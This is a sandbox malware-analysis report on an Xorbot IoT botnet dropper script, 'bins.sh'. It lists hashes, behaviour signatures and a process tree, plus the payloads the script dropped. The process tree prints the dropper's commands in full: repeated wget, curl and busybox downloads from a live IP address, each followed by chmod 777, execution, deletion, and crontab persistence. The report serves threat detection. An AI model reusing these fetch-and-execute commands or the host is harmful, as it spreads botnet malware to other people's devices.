Analysis

  • max time kernel
    150s
  • max time network
    130s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    29-11-2024 19:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9c78593f3247a81ae638fe8b8463b71e

  • SHA1

    0775065718970d81dc47eeeede73fa2063f74554

  • SHA256

    1ada6782b73be9bad01cc49d5c1a17cddeb96112995fe104e69fcfaff3ff28c8

  • SHA512

    25b0a058e86e6b106a46f84ec8fd78eaefd5f6cf6403a471fdb86cd99470f000a751c45c8c91e6b7f29dee46c38563feb95c7d51b40ebd1438e496a567bdc8fc

  • SSDEEP

    96:kIcMJRrMGOU3by18oiffO9L91wAQaUX2QFZPYAjpF9QQdzllv6XJFZPYA8dgpF9i:hMGOU3b89L9761GOU3bmLp

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Writes file to tmp directory
          PID:711
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          ./HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/chmod
            chmod 777 sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            ./sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:743
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:745
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:746
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:747
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:748
                • /bin/rm
                  rm sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
                  2⤵
                    PID:750
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
                    2⤵
                      PID:753
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
                      2⤵
                        PID:754
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
                        2⤵
                        • Writes file to tmp directory
                        PID:755
                      • /bin/chmod
                        chmod 777 3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
                        2⤵
                        • File and Directory Permissions Modification
                        PID:756
                      • /tmp/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
                        ./3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
                        2⤵
                        • Executes dropped EXE
                        PID:757
                      • /bin/rm
                        rm 3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
                        2⤵
                          PID:758
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                          2⤵
                            PID:759
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                            2⤵
                              PID:760
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                              2⤵
                              • Writes file to tmp directory
                              PID:761
                            • /bin/chmod
                              chmod 777 I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                              2⤵
                              • File and Directory Permissions Modification
                              PID:762
                            • /tmp/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                              ./I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                              2⤵
                              • Executes dropped EXE
                              PID:763
                            • /bin/rm
                              rm I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                              2⤵
                                PID:765
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                                2⤵
                                  PID:766
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                                  2⤵
                                    PID:767
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:768
                                  • /bin/chmod
                                    chmod 777 twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:769
                                  • /tmp/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                                    ./twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                                    2⤵
                                    • Executes dropped EXE
                                    PID:770
                                  • /bin/rm
                                    rm twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                                    2⤵
                                      PID:772
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:773
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                                      2⤵
                                        PID:860
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:862
                                      • /bin/chmod
                                        chmod 777 49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:865
                                      • /tmp/49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                                        ./49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                                        2⤵
                                        • Executes dropped EXE
                                        PID:866
                                      • /bin/rm
                                        rm 49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                                        2⤵
                                          PID:867
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                                          2⤵
                                            PID:868
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                                            2⤵
                                              PID:869
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:872
                                            • /bin/chmod
                                              chmod 777 I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:874
                                            • /tmp/I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                                              ./I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                                              2⤵
                                              • Executes dropped EXE
                                              PID:875
                                            • /bin/rm
                                              rm I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                                              2⤵
                                                PID:877
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/EyE3VqeXK0kUbvnhpzdyAnSk8uhsPnMFoY
                                                2⤵
                                                  PID:878
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/EyE3VqeXK0kUbvnhpzdyAnSk8uhsPnMFoY
                                                  2⤵
                                                    PID:879
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/EyE3VqeXK0kUbvnhpzdyAnSk8uhsPnMFoY
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:881
                                                  • /bin/chmod
                                                    chmod 777 EyE3VqeXK0kUbvnhpzdyAnSk8uhsPnMFoY
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:885
                                                  • /tmp/EyE3VqeXK0kUbvnhpzdyAnSk8uhsPnMFoY
                                                    ./EyE3VqeXK0kUbvnhpzdyAnSk8uhsPnMFoY
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:886
                                                  • /bin/rm
                                                    rm EyE3VqeXK0kUbvnhpzdyAnSk8uhsPnMFoY
                                                    2⤵
                                                      PID:887
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/gUvvP4h6Fpn6A3s831v13acGVslc5pj2Nh
                                                      2⤵
                                                        PID:888
                                                      • /usr/bin/curl
                                                        curl -O http://216.126.231.240/bins/gUvvP4h6Fpn6A3s831v13acGVslc5pj2Nh
                                                        2⤵
                                                          PID:890
                                                        • /bin/busybox
                                                          /bin/busybox wget http://216.126.231.240/bins/gUvvP4h6Fpn6A3s831v13acGVslc5pj2Nh
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:892
                                                        • /bin/chmod
                                                          chmod 777 gUvvP4h6Fpn6A3s831v13acGVslc5pj2Nh
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:895
                                                        • /tmp/gUvvP4h6Fpn6A3s831v13acGVslc5pj2Nh
                                                          ./gUvvP4h6Fpn6A3s831v13acGVslc5pj2Nh
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:896
                                                        • /bin/rm
                                                          rm gUvvP4h6Fpn6A3s831v13acGVslc5pj2Nh
                                                          2⤵
                                                            PID:899
                                                          • /usr/bin/wget
                                                            wget http://216.126.231.240/bins/ueOrwbdaDk5ebqpP7g9uSxeWy1ium1ebbI
                                                            2⤵
                                                              PID:900

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /tmp/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7

                                                            Filesize

                                                            111KB

                                                            MD5

                                                            ca897a38f23ec23521ce0b1b83f8422d

                                                            SHA1

                                                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                            SHA256

                                                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                            SHA512

                                                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                          • /tmp/49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3

                                                            Filesize

                                                            14KB

                                                            MD5

                                                            e7bbb35dddf65c4332213bbffe845e92

                                                            SHA1

                                                            315b6ea16dbc232ef0c048314bf37bd9580b907e

                                                            SHA256

                                                            81c5043439a091604d582b4f0714f3c6c1906707f35ab4d3a0d9712432ec077d

                                                            SHA512

                                                            5547a15e4e293fb7f8bc8d45a45f285e3f6e61374a526e38c712ee09e18964199f02f66435d06c4f06b31238a45cd630426407829ad399cc5ec8f8465d7231f4

                                                          • /tmp/EyE3VqeXK0kUbvnhpzdyAnSk8uhsPnMFoY

                                                            Filesize

                                                            111KB

                                                            MD5

                                                            701e7a55a4f3650f5feee92a9860e5fc

                                                            SHA1

                                                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                            SHA256

                                                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                            SHA512

                                                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                          • /tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0

                                                            Filesize

                                                            177KB

                                                            MD5

                                                            786d75a158fe731feca3880f436082c0

                                                            SHA1

                                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                            SHA256

                                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                            SHA512

                                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                          • /tmp/I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7

                                                            Filesize

                                                            151KB

                                                            MD5

                                                            6c583043d91c55aa470c08c87058e917

                                                            SHA1

                                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                                            SHA256

                                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                            SHA512

                                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                          • /tmp/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F

                                                            Filesize

                                                            117KB

                                                            MD5

                                                            849fa04ef88a8e8de32cb2e8538de5fe

                                                            SHA1

                                                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                            SHA256

                                                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                            SHA512

                                                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                          • /tmp/gUvvP4h6Fpn6A3s831v13acGVslc5pj2Nh

                                                            Filesize

                                                            141KB

                                                            MD5

                                                            3ca8decdb1e52c423c521bfff02ac200

                                                            SHA1

                                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                            SHA256

                                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                            SHA512

                                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                          • /tmp/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3

                                                            Filesize

                                                            151KB

                                                            MD5

                                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                                            SHA1

                                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                            SHA256

                                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                            SHA512

                                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                          • /tmp/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6

                                                            Filesize

                                                            99KB

                                                            MD5

                                                            9438d9bc392bcf300a5583b6df5bc8f6

                                                            SHA1

                                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                                            SHA256

                                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                            SHA512

                                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                          • /var/spool/cron/crontabs/tmp.KXL9EY

                                                            Filesize

                                                            210B

                                                            MD5

                                                            bf048c553ed3fcf559f114d5e3cc5bfb

                                                            SHA1

                                                            d2df8b0a5e94301d5a3e37e402491dee6197a651

                                                            SHA256

                                                            70c570f8b64d078a82469dfa5495daeafdf5af2df154217a813029432c27e299

                                                            SHA512

                                                            8941b2038a03dcd70c9606244f2b17a5a983d7975a90151a01bfe053dc6a42415e5525f4f971a91925c42cf438063561b204f161f90ad4f820eba38ad8bdce92